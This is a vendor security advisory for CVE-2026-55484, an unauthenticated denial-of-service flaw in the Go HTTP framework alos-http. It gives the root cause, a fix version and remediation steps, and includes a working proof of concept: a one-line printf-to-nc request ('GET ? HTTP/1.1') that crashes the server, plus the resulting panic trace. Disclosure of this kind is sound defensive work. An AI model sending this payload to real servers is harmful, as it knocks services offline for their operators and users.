CVE-2026-55484 is a high-severity (CVSS 7.5) CWE-248 vulnerability in github.com/guno1928/alos-http. O3 Security confirms whether CVE-2026-55484 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-55484.
Real-World Exposure
github.com/guno1928/alos-httpReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process.
The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled
Details
root cause: core/utils.go::sanitizeRequestPath
// assume path := "?"
if len(path) == 0 { // len(path) == 1
return "/"
}
p, _ := splitPathQuery(path) // p == ""
if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
return p
}
- when the path starts with "?" len(path) is not 0 so the early return does not fire
- after
splitPathQuerypis empty"" pis then indexedp[0]without a length check
Relevant calling sites:
h1_plain.go:ParseH1RequestHead(HTTP/1.1)h1.go::ParseH1Request(dead code)hpack.go::decodeSimpleGetPathHTTPSRequest(HTTP/2)hpack.go::observeHeader(HTTP/2)h3_conn.go::handleRequestStream(HTTP/3)
these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic
PoC
Minimal server, using the quick-start
srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())
Crash it with a single request
printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080
Server output & crash
2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0
goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
/home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
/home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2
all subsequent requests now fail, since the server is down
Impact
Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/guno1928/alos-http | all versions | 0.0.0-20260617230736-314b6783e196 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/guno1928/alos-http. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/guno1928/alos-http to 0.0.0-20260617230736-314b6783e196 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-55484 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-55484 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-55484. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-55484 in your dependencies?
O3 detects CVE-2026-55484 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.